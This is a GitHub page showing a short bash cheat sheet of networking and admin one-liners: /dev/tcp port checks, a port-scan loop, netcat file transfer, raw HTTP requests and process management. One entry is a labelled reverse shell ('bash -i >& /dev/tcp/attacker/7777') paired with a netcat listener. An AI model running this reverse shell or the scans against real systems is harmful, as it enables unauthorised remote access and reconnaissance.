-
Notifications
You must be signed in to change notification settings - Fork 1
/
bash.cheat
49 lines (36 loc) · 1.04 KB
/
bash.cheat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
% bash ,pushou
# comment bash
<< COMMENT1
this is a COMMENT1
bla..
COMMENT1
# bash socket
timeout 0.5 echo -n 2>/dev/null < /dev/tcp/127.0.0.1/7777 && echo "open" || echo "closed"
# bash k8s
kubectl exec -it svc/random-service -- bash
$ echo < /dev/tcp/other-service.namespace.svc.cluster.local/7777 && echo "open" || echo "closed"
# bash scanner
for port in {1..8888}; do
echo -n 2>/dev/null < /dev/tcp/127.0.0.1/$port && echo "$port/tcp open"
done
# read the time
cat < /dev/tcp/time.nist.gov/13
# file transfer
nc -lvnp 7777 < file.txt
cat < /dev/tcp/sender/7777 > file.txt
cat file.txt > /dev/tcp/receiver/7777
# bash reverse shell
nc -lvnp 7777
bash -c 'bash -i >& /dev/tcp/attacker/7777 0>&1'
# bash nc scan
sudo nc -zvw 1 localhost 1-1000|grep -v failed
# bash http request
exec 5<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n" >&5
cat <&5
# ps
ps -faux
# pgrep list process name
sudo pgrep -u tpot -l
sudo pkill -HUP -u tpot Suricata-Main
$ IP_VERSION: echo '4 6' | tr ' ' '\n'